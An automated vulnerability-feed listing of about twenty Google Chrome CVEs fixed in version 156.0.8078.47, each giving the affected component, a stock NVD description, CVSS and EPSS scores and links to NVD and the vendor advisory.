Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113291
Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113291).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113291&date=2026-10-25).
Sources:
NVD CVE-2026-113291: https://nvd.nist.gov/vuln/detail/CVE-2026-113291
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113291&date=2026-10-25
Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113294
Improper input validation in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113294).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113294&date=2026-10-25).
Sources:
NVD CVE-2026-113294: https://nvd.nist.gov/vuln/detail/CVE-2026-113294
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113294&date=2026-10-25
Improper input validation in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113298
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113298).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113298&date=2026-10-25).
Sources:
NVD CVE-2026-113298: https://nvd.nist.gov/vuln/detail/CVE-2026-113298
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113298&date=2026-10-25
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113299
Memory corruption in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113299).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113299&date=2026-10-25).
Sources:
NVD CVE-2026-113299: https://nvd.nist.gov/vuln/detail/CVE-2026-113299
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113299&date=2026-10-25
Memory corruption in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113301
Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113301).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113301&date=2026-10-25).
Sources:
NVD CVE-2026-113301: https://nvd.nist.gov/vuln/detail/CVE-2026-113301
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113301&date=2026-10-25
Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113302
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113302).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113302&date=2026-10-25).
Sources:
NVD CVE-2026-113302: https://nvd.nist.gov/vuln/detail/CVE-2026-113302
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113302&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113303
Memory corruption in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113303).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113303&date=2026-10-25).
Sources:
NVD CVE-2026-113303: https://nvd.nist.gov/vuln/detail/CVE-2026-113303
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113303&date=2026-10-25
Memory corruption in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113305
Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113305).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113305&date=2026-10-25).
Sources:
NVD CVE-2026-113305: https://nvd.nist.gov/vuln/detail/CVE-2026-113305
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113305&date=2026-10-25
Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113306
Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113306).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113306&date=2026-10-25).
Sources:
NVD CVE-2026-113306: https://nvd.nist.gov/vuln/detail/CVE-2026-113306
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113306&date=2026-10-25
Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113307
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113307).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113307&date=2026-10-25).
Sources:
NVD CVE-2026-113307: https://nvd.nist.gov/vuln/detail/CVE-2026-113307
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113307&date=2026-10-25
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113308
Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113308).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113308&date=2026-10-25).
Sources:
NVD CVE-2026-113308: https://nvd.nist.gov/vuln/detail/CVE-2026-113308
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113308&date=2026-10-25
Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113311
Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113311).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113311&date=2026-10-25).
Sources:
NVD CVE-2026-113311: https://nvd.nist.gov/vuln/detail/CVE-2026-113311
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113311&date=2026-10-25
Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113313
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113313).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113313&date=2026-10-25).
Sources:
NVD CVE-2026-113313: https://nvd.nist.gov/vuln/detail/CVE-2026-113313
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113313&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113314
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113314).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113314&date=2026-10-25).
Sources:
NVD CVE-2026-113314: https://nvd.nist.gov/vuln/detail/CVE-2026-113314
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113314&date=2026-10-25
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113315
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113315).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113315&date=2026-10-25).
Sources:
NVD CVE-2026-113315: https://nvd.nist.gov/vuln/detail/CVE-2026-113315
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113315&date=2026-10-25
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113316
Improper input validation in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Improper input validation in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113316).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113316&date=2026-10-25).
Sources:
NVD CVE-2026-113316: https://nvd.nist.gov/vuln/detail/CVE-2026-113316
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113316&date=2026-10-25
Improper input validation in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113318
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113318).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113318&date=2026-10-25).
Sources:
NVD CVE-2026-113318: https://nvd.nist.gov/vuln/detail/CVE-2026-113318
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113318&date=2026-10-25
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113319
Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113319).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113319&date=2026-10-25).
Sources:
NVD CVE-2026-113319: https://nvd.nist.gov/vuln/detail/CVE-2026-113319
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113319&date=2026-10-25
Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113321
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113321).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113321&date=2026-10-25).
Sources:
NVD CVE-2026-113321: https://nvd.nist.gov/vuln/detail/CVE-2026-113321
